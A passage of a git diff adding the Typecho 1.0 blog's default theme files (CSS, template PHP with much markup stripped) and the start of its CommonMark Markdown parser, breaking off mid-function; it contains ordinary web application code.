b/Typecho/1.0/php-fpm/src/usr/themes/default/grid.css new file mode 100755 index 000000000..16183b37b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/grid.css @@ -0,0 +1 @@ +.container,.row [class*="col-"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}.container{margin-left:auto;margin-right:auto;padding-left:10px;padding-right:10px;}.row{margin-right:-10px;margin-left:-10px;}.row [class*="col-"]{float:left;min-height:1px;padding-right:10px;padding-left:10px;}.row [class*="-push-"],.row [class*="-pull-"]{position:relative;}.col-mb-1{width:8.33333%;}.col-mb-2{width:16.66667%;}.col-mb-3{width:25%;}.col-mb-4{width:33.33333%;}.col-mb-5{width:41.66667%;}.col-mb-6{width:50%;}.col-mb-7{width:58.33333%;}.col-mb-8{width:66.66667%;}.col-mb-9{width:75%;}.col-mb-10{width:83.33333%;}.col-mb-11{width:91.66667%;}.col-mb-12{width:100%;}@media(min-width:768px){.container{max-width:728px;}.col-tb-1{width:8.33333%;}.col-tb-2{width:16.66667%;}.col-tb-3{width:25%;}.col-tb-4{width:33.33333%;}.col-tb-5{width:41.66667%;}.col-tb-6{width:50%;}.col-tb-7{width:58.33333%;}.col-tb-8{width:66.66667%;}.col-tb-9{width:75%;}.col-tb-10{width:83.33333%;}.col-tb-11{width:91.66667%;}.col-tb-12{width:100%;}.col-tb-offset-0{margin-left:0;}.col-tb-offset-1{margin-left:8.33333%;}.col-tb-offset-2{margin-left:16.66667%;}.col-tb-offset-3{margin-left:25%;}.col-tb-offset-4{margin-left:33.33333%;}.col-tb-offset-5{margin-left:41.66667%;}.col-tb-offset-6{margin-left:50%;}.col-tb-offset-7{margin-left:58.33333%;}.col-tb-offset-8{margin-left:66.66667%;}.col-tb-offset-9{margin-left:75%;}.col-tb-offset-10{margin-left:83.33333%;}.col-tb-offset-11{margin-left:91.66667%;}.col-tb-offset-12{margin-left:100%;}.col-tb-pull-0{right:0;}.col-tb-pull-1{right:8.33333%;}.col-tb-pull-2{right:16.66667%;}.col-tb-pull-3{right:25%;}.col-tb-pull-4{right:33.33333%;}.col-tb-pull-5{right:41.66667%;}.col-tb-pull-6{right:50%;}.col-tb-pull-7{right:58.33333%;}.col-tb-pull-8{right:66.66667%;}.col-tb-pull-9{right:75%;}.col-tb-pull-10{right:83.33333%;}.col-tb-pull-11{right:91.66667%;}.col-tb-pull-12{right:100%;}.col-tb-push-0{left:0;}.col-tb-push-1{left:8.33333%;}.col-tb-push-2{left:16.66667%;}.col-tb-push-3{left:25%;}.col-tb-push-4{left:33.33333%;}.col-tb-push-5{left:41.66667%;}.col-tb-push-6{left:50%;}.col-tb-push-7{left:58.33333%;}.col-tb-push-8{left:66.66667%;}.col-tb-push-9{left:75%;}.col-tb-push-10{left:83.33333%;}.col-tb-push-11{left:91.66667%;}.col-tb-push-12{left:100%;}}@media(min-width:992px){.container{max-width:952px;}.col-1{width:8.33333%;}.col-2{width:16.66667%;}.col-3{width:25%;}.col-4{width:33.33333%;}.col-5{width:41.66667%;}.col-6{width:50%;}.col-7{width:58.33333%;}.col-8{width:66.66667%;}.col-9{width:75%;}.col-10{width:83.33333%;}.col-11{width:91.66667%;}.col-12{width:100%;}.col-offset-0{margin-left:0;}.col-offset-1{margin-left:8.33333%;}.col-offset-2{margin-left:16.66667%;}.col-offset-3{margin-left:25%;}.col-offset-4{margin-left:33.33333%;}.col-offset-5{margin-left:41.66667%;}.col-offset-6{margin-left:50%;}.col-offset-7{margin-left:58.33333%;}.col-offset-8{margin-left:66.66667%;}.col-offset-9{margin-left:75%;}.col-offset-10{margin-left:83.33333%;}.col-offset-11{margin-left:91.66667%;}.col-offset-12{margin-left:100%;}.col-pull-0{right:0;}.col-pull-1{right:8.33333%;}.col-pull-2{right:16.66667%;}.col-pull-3{right:25%;}.col-pull-4{right:33.33333%;}.col-pull-5{right:41.66667%;}.col-pull-6{right:50%;}.col-pull-7{right:58.33333%;}.col-pull-8{right:66.66667%;}.col-pull-9{right:75%;}.col-pull-10{right:83.33333%;}.col-pull-11{right:91.66667%;}.col-pull-12{right:100%;}.col-push-0{left:0;}.col-push-1{left:8.33333%;}.col-push-2{left:16.66667%;}.col-push-3{left:25%;}.col-push-4{left:33.33333%;}.col-push-5{left:41.66667%;}.col-push-6{left:50%;}.col-push-7{left:58.33333%;}.col-push-8{left:66.66667%;}.col-push-9{left:75%;}.col-push-10{left:83.33333%;}.col-push-11{left:91.66667%;}.col-push-12{left:100%;}}@media(min-width:1200px){.container{max-width:1160px;}.col-wd-1{width:8.33333%;}.col-wd-2{width:16.66667%;}.col-wd-3{width:25%;}.col-wd-4{width:33.33333%;}.col-wd-5{width:41.66667%;}.col-wd-6{width:50%;}.col-wd-7{width:58.33333%;}.col-wd-8{width:66.66667%;}.col-wd-9{width:75%;}.col-wd-10{width:83.33333%;}.col-wd-11{width:91.66667%;}.col-wd-12{width:100%;}.col-wd-offset-0{margin-left:0;}.col-wd-offset-1{margin-left:8.33333%;}.col-wd-offset-2{margin-left:16.66667%;}.col-wd-offset-3{margin-left:25%;}.col-wd-offset-4{margin-left:33.33333%;}.col-wd-offset-5{margin-left:41.66667%;}.col-wd-offset-6{margin-left:50%;}.col-wd-offset-7{margin-left:58.33333%;}.col-wd-offset-8{margin-left:66.66667%;}.col-wd-offset-9{margin-left:75%;}.col-wd-offset-10{margin-left:83.33333%;}.col-wd-offset-11{margin-left:91.66667%;}.col-wd-offset-12{margin-left:100%;}.col-wd-pull-0{right:0;}.col-wd-pull-1{right:8.33333%;}.col-wd-pull-2{right:16.66667%;}.col-wd-pull-3{right:25%;}.col-wd-pull-4{right:33.33333%;}.col-wd-pull-5{right:41.66667%;}.col-wd-pull-6{right:50%;}.col-wd-pull-7{right:58.33333%;}.col-wd-pull-8{right:66.66667%;}.col-wd-pull-9{right:75%;}.col-wd-pull-10{right:83.33333%;}.col-wd-pull-11{right:91.66667%;}.col-wd-pull-12{right:100%;}.col-wd-push-0{left:0;}.col-wd-push-1{left:8.33333%;}.col-wd-push-2{left:16.66667%;}.col-wd-push-3{left:25%;}.col-wd-push-4{left:33.33333%;}.col-wd-push-5{left:41.66667%;}.col-wd-push-6{left:50%;}.col-wd-push-7{left:58.33333%;}.col-wd-push-8{left:66.66667%;}.col-wd-push-9{left:75%;}.col-wd-push-10{left:83.33333%;}.col-wd-push-11{left:91.66667%;}.col-wd-push-12{left:100%;}}@media(max-width:767px){.kit-hidden-mb{display:none;}}@media(max-width:991px){.kit-hidden-tb{display:none;}}@media(max-width:1199px){.kit-hidden{display:none;}}.clearfix,.row{zoom:1;}.clearfix:before,.row:before,.clearfix:after,.row:after{content:" ";display:table;}.clearfix:after,.row:after{clear:both;} \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/header.php b/Typecho/1.0/php-fpm/src/usr/themes/default/header.php new file mode 100755 index 000000000..efabbedd4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/header.php @@ -0,0 +1,70 @@ + + + + + + + + + <?php $this->archiveTitle(array( + 'category' => _t('分类 %s 下的文章'), + 'search' => _t('包含关键字 %s 的文章'), + 'tag' => _t('标签 %s 下的文章'), + 'author' => _t('%s 发布的文章') + ), '', ' - '); ?><?php $this->options->title(); ?> + + + + + + + + + + header(); ?> + + + + + +
    +
    +
    + + + diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/img/icon-search.png b/Typecho/1.0/php-fpm/src/usr/themes/default/img/icon-search.png new file mode 100755 index 000000000..6ab06195c Binary files /dev/null and b/Typecho/1.0/php-fpm/src/usr/themes/default/img/icon-search.png differ diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/img/icon-search@2x.png b/Typecho/1.0/php-fpm/src/usr/themes/default/img/icon-search@2x.png new file mode 100755 index 000000000..243b408eb Binary files /dev/null and b/Typecho/1.0/php-fpm/src/usr/themes/default/img/icon-search@2x.png differ diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/index.php b/Typecho/1.0/php-fpm/src/usr/themes/default/index.php new file mode 100755 index 000000000..495d426a8 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/index.php @@ -0,0 +1,35 @@ +need('header.php'); + ?> + +
    + next()): ?> + + + + pageNav('« 前一页', '后一页 »'); ?> +
    + +need('sidebar.php'); ?> +need('footer.php'); ?> diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/page.php b/Typecho/1.0/php-fpm/src/usr/themes/default/page.php new file mode 100755 index 000000000..8f1cd6f68 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/page.php @@ -0,0 +1,15 @@ + +need('header.php'); ?> + +
    + + need('comments.php'); ?> +
    + +need('sidebar.php'); ?> +need('footer.php'); ?> diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/post.php b/Typecho/1.0/php-fpm/src/usr/themes/default/post.php new file mode 100755 index 000000000..3732c9ff5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/post.php @@ -0,0 +1,27 @@ + +need('header.php'); ?> + +
    +
    +

    title() ?>

    + +
    + content(); ?> +
    +

    tags(', ', true, 'none'); ?>

    +
    + + need('comments.php'); ?> + +
      +
    • 上一篇: thePrev('%s','没有了'); ?>
    • +
    • 下一篇: theNext('%s','没有了'); ?>
    • +
    +
    + +need('sidebar.php'); ?> +need('footer.php'); ?> diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/screenshot.png b/Typecho/1.0/php-fpm/src/usr/themes/default/screenshot.png new file mode 100755 index 000000000..8aa2987ed Binary files /dev/null and b/Typecho/1.0/php-fpm/src/usr/themes/default/screenshot.png differ diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/sidebar.php b/Typecho/1.0/php-fpm/src/usr/themes/default/sidebar.php new file mode 100755 index 000000000..d546eb691 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/sidebar.php @@ -0,0 +1,59 @@ + + diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/style.css b/Typecho/1.0/php-fpm/src/usr/themes/default/style.css new file mode 100755 index 000000000..2faa80001 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/style.css @@ -0,0 +1 @@ +body{background-color:#FFF;color:#444;font-family:"Droid Serif",Georgia,"Times New Roman",STHeiti,serif;font-size:87.5%;}a{color:#3354AA;text-decoration:none;}a:hover,a:active{color:#444;}pre,code{background:#F3F3F0;font-family:Menlo,Monaco,Consolas,"Lucida Console","Courier New",monospace;font-size:.92857em;}code{padding:2px 4px;color:#B94A48;}pre{padding:0;border:1px solid #ccc;overflow:auto;max-height:400px;}pre code{padding:3px;color:#444;}blockquote{margin:1em 1.5em;padding-left:1.5em;border-left:4px solid #F3F3F0;}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;}input[type="text"],input[type="email"],input[type="url"],input[type="password"],textarea{padding:5px;border:1px solid #E9E9E9;width:100%;border-radius:2px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}textarea{resize:vertical;}.post-meta a,.post-content a,.widget a,.comment-content a{border-bottom:1px solid #EEE;}.post-meta a:hover,.post-content a:hover,.widget a:hover,.comment-content a:hover{border-bottom-color:transparent;}.browsehappy{padding:8px 0;background:#FBE3E4;color:#8A1F11;text-align:center;}.browsehappy a{color:#8A1F11;text-decoration:underline;font-weight:bold;}#header{padding-top:35px;border-bottom:1px solid #EEE;}#logo{color:#333;font-size:2.5em;}.description{margin:.5em 0 0;color:#999;font-style:italic;}#nav-menu{margin:25px 0 0;padding:0;}#nav-menu a{display:block;margin-right:-1px;padding:0 20px;border:1px solid #EEE;border-bottom:none;height:32px;line-height:32px;color:#444;float:left;}#nav-menu a:hover,#nav-menu .current{background:#F6F6F6;}#search{position:relative;margin-top:15px;}#search input{padding-right:30px;}#search button{position:absolute;right:4px;top:2px;border:none;padding:0;width:24px;height:24px;background:transparent url(img/icon-search.png) no-repeat center center;direction:ltr;text-indent:-9999em;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){#search button{background-image:url(img/icon-search@2x.png);-webkit-background-size:24px 24px;-moz-background-size:24px 24px;-o-background-size:24px 24px;background-size:24px 24px;}}.post{padding:15px 0 20px;border-bottom:1px solid #EEE;}.post-title{margin:.83em 0;font-size:1.4em;}.post-meta{margin-top:-0.5em;padding:0;color:#999;font-size:.92857em;}.post-meta li{display:inline-block;margin:0 8px 0 0;padding-left:12px;border-left:1px solid #EEE;}.post-meta li:first-child{margin-left:0;padding-left:0;border:none;}.post-content{line-height:1.5;}.post .tags{clear:both;}.post-near{list-style:none;margin:30px 0;padding:0;color:#999;}.post-near li{margin:10px 0;}.archive-title{margin:1em 0 -1em;padding-top:20px;color:#999;font-size:1em;}.more{text-align:center;}.more a{border:none;}.protected .text{width:50%;}.page-navigator{list-style:none;margin:25px 0;padding:0;text-align:center;}.page-navigator li{display:inline-block;margin:0 4px;}.page-navigator a{display:inline-block;padding:0 10px;height:30px;line-height:30px;}.page-navigator a:hover{background:#EEE;text-decoration:none;}.page-navigator .current a{color:#444;background:#EEE;}#comments{padding-top:15px;}.comment-list,.comment-list ol{list-style:none;margin:0;padding:0;}.comment-list li{padding:14px;margin-top:10px;border:1px solid #EEE;}.comment-list li.comment-level-odd{background:#F6F6F3;}.comment-list li.comment-level-even{background:#FFF;}.comment-list li.comment-by-author{background:#FFF9E8;}.comment-list li .comment-reply{text-align:right;font-size:.92857em;}.comment-meta a{color:#999;font-size:.92857em;}.comment-author{display:block;margin-bottom:3px;color:#444;}.comment-author .avatar{float:left;margin-right:10px;}.comment-author cite{font-weight:bold;font-style:normal;}.comment-list .respond{margin-top:15px;border-top:1px solid #EEE;}.respond .cancel-comment-reply{float:right;margin-top:15px;font-size:.92857em;}#comment-form label{display:block;margin-bottom:.5em;font-weight:bold;}#comment-form .required:after{content:" *";color:#C00;}#secondary{padding-top:15px;word-wrap:break-word;}.widget{margin-bottom:30px;}.widget-list{list-style:none;padding:0;}.widget-list li{margin:5px 0;line-height:1.5;}.widget-list li ul{margin-left:15px;}#footer{padding:3em 0;line-height:1.5;text-align:center;color:#999;}.error-page{margin-top:100px;margin-bottom:100px;}.post-content,.comment-content{line-height:1.5;word-wrap:break-word;}.post-content h2,.comment-content h2{font-size:1.28571em;}.post-content img,.comment-content img,.post-content video,.comment-content video{max-width:100%;}.post-content a img,.comment-content a img{background:#FFF;position:relative;bottom:-4px;}.post-content hr,.comment-content hr{margin:2em auto;width:100px;border:1px solid #E9E9E9;border-width:2px 0 0 0;}.aligncenter,div.aligncenter{display:block;margin-left:auto;margin-right:auto;}.alignleft{float:left;}.alignright{float:right;}img.alignleft{margin:0 15px 0 0;}img.alignright{margin:0 0 0 15px;}@media(max-width:767px){body{font-size:81.25%;}#nav-menu a{float:none;display:inline-block;margin:0 -2px;}}@media(max-width:768px){#header,.post-title,.post-meta{text-align:center;}}@media(min-width:1200px){.container{max-width:952px;}}.hidden{display:none!important;visibility:hidden;}.sr-only{border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.sr-only.focusable:active,.sr-only.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto;}.invisible{visibility:hidden;} \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/DocParser.php b/Typecho/1.0/php-fpm/src/var/CommonMark/DocParser.php new file mode 100755 index 000000000..1f494acfb --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/DocParser.php @@ -0,0 +1,599 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + + +/** + * Parses Markdown into an AST + */ +class CommonMark_DocParser +{ + const CODE_INDENT = 4; + + /** + * @var BlockElement + */ + protected $tip; + + /** + * @var BlockElement + */ + protected $doc; + + /** + * @var InlineParser + */ + protected $inlineParser; + + /** + * @var ReferenceMap + */ + protected $refMap; + + /** + * Convert tabs to spaces on each line using a 4-space tab stop + * @param string $string + * + * @return string + */ + protected static function detabLine($string) + { + if (strpos($string, "\t") === false) { + return $string; + } + + // Split into different parts + $parts = explode("\t", $string); + // Add each part to the resulting line + // The first one is done here; others are prefixed + // with the necessary spaces inside the loop below + $line = $parts[0]; + unset($parts[0]); + + foreach ($parts as $part) { + // Calculate number of spaces; insert them followed by the non-tab contents + $amount = 4 - Typecho_Common::strLen($line, 'UTF-8') % 4; + $line .= str_repeat(' ', $amount) . $part; + } + + return $line; + } + + /** + * Break out of all containing lists, resetting the tip of the + * document to the parent of the highest list, and finalizing + * all the lists. (This is used to implement the "two blank lines + * break of of all lists" feature.) + * + * @param BlockElement $block + * @param int $lineNumber + */ + protected function breakOutOfLists(CommonMark_Element_BlockElement $block, $lineNumber) + { + $b = $block; + $lastList = null; + do { + if ($b->getType() === CommonMark_Element_BlockElement::TYPE_LIST) { + $lastList = $b; + } + + $b = $b->getParent(); + } while ($b); + + if ($lastList) { + while ($block != $lastList) { + $this->finalize($block, $lineNumber); + $block = $block->getParent(); + } + $this->finalize($lastList, $lineNumber); + $this->tip = $lastList->getParent(); + } + } + + /** + * @param string $ln + * @param int $offset + * + * @throws \RuntimeException + */ + protected function addLine($ln, $offset) + { + $s = substr($ln, $offset); + if ($s === false) { + $s = ''; + } + + if (!$this->tip->getIsOpen()) { + throw new RuntimeException(sprintf('Attempted to add line (%s) to closed container.', $ln)); + } + + $this->tip->getStrings()->add($s); + } + + /** + * @param string $tag + * @param int $lineNumber + * @param int $offset + * + * @return BlockElement + */ + protected function addChild($tag, $lineNumber, $offset) + { + while (!$this->tip->canContain($tag)) { + $this->finalize($this->tip, $lineNumber); + } + + $columnNumber = $offset + 1; // offset 0 = column 1 + $newBlock = new CommonMark_Element_BlockElement($tag, $lineNumber, $columnNumber); + $this->tip->getChildren()->add($newBlock); + $newBlock->setParent($this->tip); + $this->tip = $newBlock; + + return $newBlock; + } + + /** + * @param string $ln + * @param int $offset + * + * @return array|null + */ + protected function parseListMarker($ln, $offset) + { + $rest = substr($ln, $offset); + $data = array(); + + if (preg_match(CommonMark_Util_RegexHelper::getInstance()->getHRuleRegex(), $rest)) { + return null; + } + + if ($matches = CommonMark_Util_RegexHelper::matchAll('/^[*+-]( +|$)/', $rest)) { + $spacesAfterMarker = strlen($matches[1]); + $data['type'] = CommonMark_Element_BlockElement::LIST_TYPE_UNORDERED; + $data['delimiter'] = null; + $data['bullet_char'] = $matches[0][0]; + } elseif ($matches = CommonMark_Util_RegexHelper::matchAll('/^(\d+)([.)])( +|$)/', $rest)) { + $spacesAfterMarker = strlen($matches[3]); + $data['type'] = CommonMark_Element_BlockElement::LIST_TYPE_ORDERED; + $data['start'] = intval($matches[1]); + $data['delimiter'] = $matches[2]; + $data['bullet_char'] = null; + } else { + return null; + } + + $blankItem = strlen($matches[0]) === strlen($rest); + if ($spacesAfterMarker >= 5 || + $spacesAfterMarker < 1 || + $blankItem + ) { + $data['padding'] = strlen($matches[0]) - $spacesAfterMarker + 1; + } else { + $data['padding'] = strlen($matches[0]); + } + + return $data; + } + + /** + * @param array $listData + * @param array $itemData + * + * @return bool + */ + protected function listsMatch($listData, $itemData) + { + return ($listData['type'] === $itemData['type'] && + $listData['delimiter'] === $itemData['delimiter'] && + $listData['bullet_char'] === $itemData['bullet_char']); + } + + /** + * @param DocParser $self + * @param mixed $oldTip + * @param mixed $lastMatchedContainer + * @param mixed $lineNumber + * @param bool $closeUnmatchedBlocksAlreadyDone + */ + protected function closeUnmatchedBlocks(CommonMark_DocParser $self, $oldTip, $lastMatchedContainer, $lineNumber, &$closeUnmatchedBlocksAlreadyDone) + { + // finalize any blocks not matched + while (!$closeUnmatchedBlocksAlreadyDone && $oldTip != $lastMatchedContainer && $oldTip !== null) { + $self->finalize($oldTip, $lineNumber); + $oldTip = $oldTip->getParent(); + } + $closeUnmatchedBlocksAlreadyDone = true; + } + + /** + * @param string $ln + * @param int $lineNumber + */ + protected function incorporateLine($ln, $lineNumber) + { + $allMatched = true; + $offset = 0; + $blank = false; + $container = $this->doc; + $oldTip = $this->tip; + + // Convert tabs to spaces: + $ln = self::detabLine($ln); + + // For each containing block, try to parse the associated line start. + // Bail out on failure: container will point to the last matching block. + // Set all_matched to false if not all containers match. + while ($container->hasChildren()) { + /** @var BlockElement $lastChild */ + $lastChild = $container->getChildren()->last(); + if (!$lastChild->getIsOpen()) { + break; + } + + $container = $lastChild; + + $match = CommonMark_Util_RegexHelper::matchAt('/[^ ]/', $ln, $offset); + if ($match === null) { + $firstNonSpace = strlen($ln); + $blank = true; + } else { + $firstNonSpace = $match; + $blank = false; + } + + $indent = $firstNonSpace - $offset; + + switch ($container->getType()) { + case CommonMark_Element_BlockElement::TYPE_BLOCK_QUOTE: + $matched = $indent <= 3 && isset($ln[$firstNonSpace]) && $ln[$firstNonSpace] === '>'; + if ($matched) { + $offset = $firstNonSpace + 1; + if (isset($ln[$offset]) && $ln[$offset] === ' ') { + $offset++; + } + } else { + $allMatched = false; + } + break; + + case CommonMark_Element_BlockElement::TYPE_LIST_ITEM: + $listData = $container->getExtra('list_data'); + $increment = $listData['marker_offset'] + $listData['padding']; + if ($indent >= $increment) { + $offset += $increment; + } elseif ($blank) { + $offset = $firstNonSpace; + } else { + $allMatched = false; + } + break; + + case CommonMark_Element_BlockElement::TYPE_INDENTED_CODE: + if ($indent >= self::CODE_INDENT) { + $offset += self::CODE_INDENT; + } elseif ($blank) { + $offset = $firstNonSpace; + } else { + $allMatched = false; + } + break; + + case CommonMark_Element_BlockElement::TYPE_ATX_HEADER: + case CommonMark_Element_BlockElement::TYPE_SETEXT_HEADER: + case CommonMark_Element_BlockElement::TYPE_HORIZONTAL_RULE: + // a header can never contain > 1 line, so fail to match: + $allMatched = false; + break; + + case CommonMark_Element_BlockElement::TYPE_FENCED_CODE: + // skip optional spaces of fence offset + $i = $container->getExtra('fence_offset'); + while ($i > 0 && $ln[$offset] === ' ') { + $offset++; + $i--; + } + break; + + case CommonMark_Element_BlockElement::TYPE_HTML_BLOCK: + if ($blank) { + $allMatched = false; + } + break; + + case CommonMark_Element_BlockElement::TYPE_PARAGRAPH: + if ($blank) { + $container->setIsLastLineBlank(true); + $allMatched = false; + } + break; + + default: + // Nothing + } + + if (!$allMatched) { + $container = $container->getParent(); // back up to the last matching block + break; + } + } + + $lastMatchedContainer = $container; + + // This function is used to finalize and close any unmatched + // blocks. We aren't ready to do this now, because we might + // have a lazy paragraph continuation, in which case we don't + // want to close unmatched blocks. So we store this closure for + // use later, when we have more information. + $closeUnmatchedBlocksAlreadyDone = false; + + // Check to see if we've hit 2nd blank line; if so break out of list: + if ($blank && $container->getIsLastLineBlank()) { + $this->breakOutOfLists($container, $lineNumber); + } + + // Unless last matched container is a code block, try new container starts, + // adding children to the last matched container: + while ($container->getType() != CommonMark_Element_BlockElement::TYPE_FENCED_CODE && + $container->getType() != CommonMark_Element_BlockElement::TYPE_INDENTED_CODE && + $container->getType() != CommonMark_Element_BlockElement::TYPE_HTML_BLOCK && + // this is a little performance optimization + CommonMark_Util_RegexHelper::matchAt('/^[ #`~*+_=<>0-9-]/', $ln, $offset) !== null + ) { + $match = CommonMark_Util_RegexHelper::matchAt('/[^ ]/', $ln, $offset); + if ($match === null) { + $firstNonSpace = strlen($ln); + $blank = true; + } else { + $firstNonSpace = $match; + $blank = false; + } + + $indent = $firstNonSpace - $offset; + + if ($indent >= self::CODE_INDENT) { + // indented code + if ($this->tip->getType() != CommonMark_Element_BlockElement::TYPE_PARAGRAPH && !$blank) { + $offset += self::CODE_INDENT; + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_INDENTED_CODE, $lineNumber, $offset); + } else { // ident > 4 in a lazy paragraph continuation + break; + } + } elseif (!$blank && $ln[$firstNonSpace] === '>') { + // blockquote + $offset = $firstNonSpace + 1; + // optional following space + if (isset($ln[$offset]) && $ln[$offset] === ' ') { + $offset++; + } + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_BLOCK_QUOTE, $lineNumber, $offset); + } elseif ($match = CommonMark_Util_RegexHelper::matchAll('/^#{1,6}(?: +|$)/', $ln, $firstNonSpace)) { + // ATX header + $offset = $firstNonSpace + strlen($match[0]); + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_ATX_HEADER, $lineNumber, $firstNonSpace); + $container->setExtra('level', strlen(trim($match[0]))); // number of #s + // remove trailing ###s + $container->getStrings()->add( + preg_replace( + '/(?:(\\\\#) *#*| *#+) *$/', + '$1', + substr($ln, $offset) + ) + ); + break; + } elseif ($match = CommonMark_Util_RegexHelper::matchAll('/^`{3,}(?!.*`)|^~{3,}(?!.*~)/', $ln, $firstNonSpace)) { + // fenced code block + $fenceLength = strlen($match[0]); + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_FENCED_CODE, $lineNumber, $firstNonSpace); + $container->setExtra('fence_length', $fenceLength); + $container->setExtra('fence_char', $match[0][0]); + $container->setExtra('fence_offset', $firstNonSpace - $offset); + $offset = $firstNonSpace + $fenceLength; + break; + } elseif (CommonMark_Util_RegexHelper::matchAt( + CommonMark_Util_RegexHelper::getInstance()->getHtmlBlockOpenRegex(), + $ln, + $firstNonSpace + ) !== null + ) { + // html block + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_HTML_BLOCK, $lineNumber, $firstNonSpace); + // note, we don't adjust offset because the tag is part of the text + break; + } elseif ($container->getType() === CommonMark_Element_BlockElement::TYPE_PARAGRAPH && + $container->getStrings()->count() === 1 && + ($match = CommonMark_Util_RegexHelper::matchAll('/^(?:=+|-+) *$/', $ln, $firstNonSpace)) + ) { + // setext header line + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container->setType(CommonMark_Element_BlockElement::TYPE_SETEXT_HEADER); + $container->setExtra('level', $match[0][0] === '=' ? 1 : 2); + $offset = strlen($ln); + } elseif (CommonMark_Util_RegexHelper::matchAt(CommonMark_Util_RegexHelper::getInstance()->getHRuleRegex(), $ln, $firstNonSpace) !== null) { + // hrule + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_HORIZONTAL_RULE, $lineNumber, $firstNonSpace); + $offset = strlen($ln) - 1; + break; + } elseif (($data = $this->parseListMarker($ln, $firstNonSpace))) { + // list item + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + $data['marker_offset'] = $indent; + $offset = $firstNonSpace + $data['padding']; + + // add the list if needed + if ($container->getType() !== CommonMark_Element_BlockElement::TYPE_LIST || + !($this->listsMatch($container->getExtra('list_data'), $data)) + ) { + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_LIST, $lineNumber, $firstNonSpace); + $container->setExtra('list_data', $data); + } + + // add the list item + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_LIST_ITEM, $lineNumber, $firstNonSpace); + $container->setExtra('list_data', ($data)); + } else { + break; + } + + if ($container->acceptsLines()) { + // if it's a line container, it can't contain other containers + break; + } + } + + // What remains at the offset is a text line. Add the text to the appropriate container. + + $match = CommonMark_Util_RegexHelper::matchAt('/[^ ]/', $ln, $offset); + if ($match === null) { + $firstNonSpace = strlen($ln); + $blank = true; + } else { + $firstNonSpace = $match; + $blank = false; + } + + $indent = $firstNonSpace - $offset; + + // First check for a lazy paragraph continuation: + if ($this->tip !== $lastMatchedContainer && + !$blank && + $this->tip->getType() == CommonMark_Element_BlockElement::TYPE_PARAGRAPH && + $this->tip->getStrings()->count() > 0 + ) { + // lazy paragraph continuation + $this->lastLineBlank = false; // TODO: really? (see line 1152) + $this->addLine($ln, $offset); + } else { // not a lazy continuation + //finalize any blocks not matched + $this->closeUnmatchedBlocks($this, $oldTip, $lastMatchedContainer, $lineNumber, $closeUnmatchedBlocksAlreadyDone); + + // Block quote lines are never blank as they start with > + // and we don't count blanks in fenced code for purposes of tight/loose + // lists or breaking out of lists. We also don't set last_line_blank + // on an empty list item. + $container->setIsLastLineBlank( + $blank && + !( + $container->getType() == CommonMark_Element_BlockElement::TYPE_BLOCK_QUOTE || + $container->getType() == CommonMark_Element_BlockElement::TYPE_FENCED_CODE || + ($container->getType() == CommonMark_Element_BlockElement::TYPE_LIST_ITEM && + $container->getChildren()->count() === 0 && + $container->getStartLine() == $lineNumber + ) + ) + ); + + $cont = $container; + while ($cont->getParent()) { + $cont->getParent()->setIsLastLineBlank(false); + $cont = $cont->getParent(); + } + + switch ($container->getType()) { + case CommonMark_Element_BlockElement::TYPE_INDENTED_CODE: + case CommonMark_Element_BlockElement::TYPE_HTML_BLOCK: + $this->addLine($ln, $offset); + break; + + case CommonMark_Element_BlockElement::TYPE_FENCED_CODE: + // check for closing code fence + $test = ($indent <= 3 && + isset($ln[$firstNonSpace]) && + 